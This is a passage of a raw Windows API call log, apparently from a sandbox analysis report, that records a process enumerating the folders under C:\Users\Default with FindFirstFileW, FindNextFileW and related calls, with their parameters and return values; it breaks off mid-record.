lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4450 [0220.063] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.063] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.064] FindClose (in: hFindFile=0x1d1f4450 | out: hFindFile=0x1d1f4450) returned 1 [0220.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.064] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0220.064] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*" (normalized: "c:\\users\\default\\local settings\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.066] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0220.066] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*" (normalized: "c:\\users\\default\\local settings\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.069] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0220.069] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e70 [0220.069] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.069] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.069] FindClose (in: hFindFile=0x1d1f4e70 | out: hFindFile=0x1d1f4e70) returned 1 [0220.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.070] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0220.070] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.070] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.070] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.070] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.070] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0220.071] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*" (normalized: "c:\\users\\default\\my documents\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.073] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0220.073] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*" (normalized: "c:\\users\\default\\my documents\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.075] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0220.075] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*" (normalized: "c:\\users\\default\\nethood\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.078] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0220.078] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*" (normalized: "c:\\users\\default\\nethood\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.215] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0220.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4f30 [0220.216] FindNextFileW (in: hFindFile=0x1d1f4f30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.216] FindNextFileW (in: hFindFile=0x1d1f4f30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.216] FindClose (in: hFindFile=0x1d1f4f30 | out: hFindFile=0x1d1f4f30) returned 1 [0220.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.217] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0220.217] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f54d0 [0220.217] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.217] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.217] FindClose (in: hFindFile=0x1d1f54d0 | out: hFindFile=0x1d1f54d0) returned 1 [0220.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.218] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0220.218] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*" (normalized: "c:\\users\\default\\printhood\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.221] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0220.221] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*" (normalized: "c:\\users\\default\\printhood\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.224] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0220.224] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.227] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0220.227] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0220.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.230] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0220.230] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4db0 [0220.230] FindNextFileW (in: hFindFile=0x1d1f4db0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.231] FindNextFileW (in: hFindFile=0x1d1f4db0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.231] FindClose (in: hFindFile=0x1d1f4db0 | out: hFindFile=0x1d1f4db0) returned 1 [0220.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.231] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0220.231] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0220.232] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.232] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.232] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0220.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.232] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0220.232] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*" (normalized: "c:\\users\\default\\sendto\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, 